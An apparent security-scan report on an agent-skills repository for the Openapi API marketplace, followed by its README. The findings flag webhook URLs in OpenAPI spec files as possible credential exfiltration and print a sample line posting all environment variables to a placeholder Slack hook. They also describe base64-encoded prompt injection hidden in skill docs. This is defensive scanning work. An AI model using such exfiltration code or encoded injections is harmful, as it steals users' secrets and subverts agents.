Findings & checks · 13 flagged
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · knowledge/oas/risk.openapi.json×3
This plugin embeds a chat-platform or request-capture webhook URL ({"openapi":"3.0.0","info":{"description":"Web se…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
Show all 3 locations
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · knowledge/oas/company.openapi.json×2
This plugin embeds a chat-platform or request-capture webhook URL ({"openapi":"3.0.0","info":{"description":"This s…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
Show all 2 locations
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · knowledge/oas/docuengine.openapi.json×3
This plugin embeds a chat-platform or request-capture webhook URL ({"openapi":"3.0.0","info":{"description":"This s…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
Show all 3 locations
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Trace & refs
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · knowledge/oas/pec.openapi.json
A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.
- Decode the base64 string and confirm it is not an instruction directed at the agent.
- Move any legitimate binary or signature data into a dedicated file (
*.sig,SIGNATURES) outside the documentation.
Trace & refs
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · knowledge/oas/risk.openapi.json
A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.
- Decode the base64 string and confirm it is not an instruction directed at the agent.
- Move any legitimate binary or signature data into a dedicated file (
*.sig,SIGNATURES) outside the documentation.
Trace & refs
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · knowledge/oas/visengine.openapi.json
A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.
- Decode the base64 string and confirm it is not an instruction directed at the agent.
- Move any legitimate binary or signature data into a dedicated file (
*.sig,SIGNATURES) outside the documentation.
Trace & refs
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · knowledge/oas/esignature.openapi.json
A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.
- Decode the base64 string and confirm it is not an instruction directed at the agent.
- Move any legitimate binary or signature data into a dedicated file (
*.sig,SIGNATURES) outside the documentation.
Trace & refs
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · knowledge/oas/visurecamerali.openapi.json
A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.
- Decode the base64 string and confirm it is not an instruction directed at the agent.
- Move any legitimate binary or signature data into a dedicated file (
*.sig,SIGNATURES) outside the documentation.
Trace & refs
Every scanned point with the score it earned and what moved between them.
Score fell 55 points between these scans.
The primary manifest — the file an agent reads to learn what this artifact does.
<p align="center"> <a href="https://github.com/orgs/openapi/discussions"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/openapi/pulse/main/public/ticker-dark.svg"> <source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/openapi/pulse/main/public/ticker.svg"> <img alt="OpenAPI Pulse — this week in the OpenAPI community" src="https://raw.githubusercontent.com/openapi/pulse/main/public/ticker.svg"> </picture> </a> </p>
<div align="center"> <a href="https://openapi.com/"> <img alt="Openapi Skills" src=".github/assets/images/repo-header-a4.png" > </a>
<h1>🧩 Openapi® Skills</h1> <h4>Agent skills to interact with <a href="https://openapi.com/">Openapi®</a> APIs from Claude Code and any SKILL.md-compatible agent</h4>
<br>
Agent skills for using and integrating the services of the Openapi API marketplace — the largest certified API marketplace in Europe.
npx skills add openapi/openapi-skillsRepository layout
| Folder | Purpose |
|---|---|
knowledge/ | Curated knowledge base: company profile, services catalog, platform guide (auth, billing, sandbox), FAQ, references, per-service endpoint docs and vendored OpenAPI specs |
skills/ | The agent skills, one folder per domain, each with a SKILL.md |
Knowledge / skills separation
The two folders have strictly separated roles:
- `knowledge/` is build-time material. It is the mass of curated information used to create and align the skills (and to refresh them when Openapi changes). It is consulted by maintainers of this repo, not by agents executing a skill.
- `skills/` are self-contained deliverables. Each
SKILL.mdis populated from the knowledge but never links to it: an agent must be able to use a skill without this repository'sknowledge/folder being available. - External references are allowed in skills, but never routed through `knowledge/`. Skills point directly to official sources — e.g. the canonical specs at
https://console.openapi.com/oas/en/<service>.openapi.json, the docs portal, the status page — not to local copies of them.
Maintenance flow: update knowledge/ from the official sources first, then propagate the relevant content into the affected SKILL.md files.
Skills
| Skill | Covers |
|---|---|
| openapi-auth | OAuth v2 token lifecycle, scopes, wallet, usage stats (required by all others) |
| openapi-company | Company data: Italy, EU, worldwide |
| openapi-documents | Official documents: visure camerali, balance sheets, DURC, protests (DocuEngine, Visure Camerali, Visengine) |
| openapi-risk | Credit scores, CRIF reports, KYC, negative events |
| openapi-trust | Validation of emails, phones, IPs, URLs, PEC, fiscal codes, plates |
| openapi-geo | Geocoding, zip codes, Italian cadastre, real estate valuations |
| openapi-messaging | SMS v2, PEC, Massive REM, postal mail via Poste Italiane |
| openapi-esignature | eIDAS e-signatures and qualified time stamping |
| openapi-invoicing | Electronic invoicing (Invoice, SDI) and bill payments |
| openapi-automotive | Vehicle data by license plate |
| openapi-utilities | Exchange rates, HTML-to-PDF, .it domains, managed RAG |
Credentials
Skills expect OPENAPI_EMAIL and OPENAPI_API_KEY (account credentials for oauth.openapi.com) and/or a ready-made OPENAPI_TOKEN Bearer token in the environment. See knowledge/platform-guide.md.
Contributing
Contributions are always welcome! Whether you want to report bugs, suggest new features, improve documentation, or contribute code, your help is appreciated.
Authors
- Francesco Bianco (@francescobianco)
- Openapi Team (@openapi-it)
Partners
Meet our partners using Openapi or contributing to this project:
Our Commitments
We believe in open source and we act on that belief. We became Silver Members of the Linux Foundation because we wanted to formally support the ecosystem we build on every day. Open standards, open collaboration, and open governance are part of how we work and how we think about software.
License
This project is licensed under the MIT License.
The MIT License is a permissive open-source license that allows you to freely use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the software, provided that the original copyright notice and this permission notice are included in all copies or substantial portions of the software.
For more details, see the full license text at the MIT License page.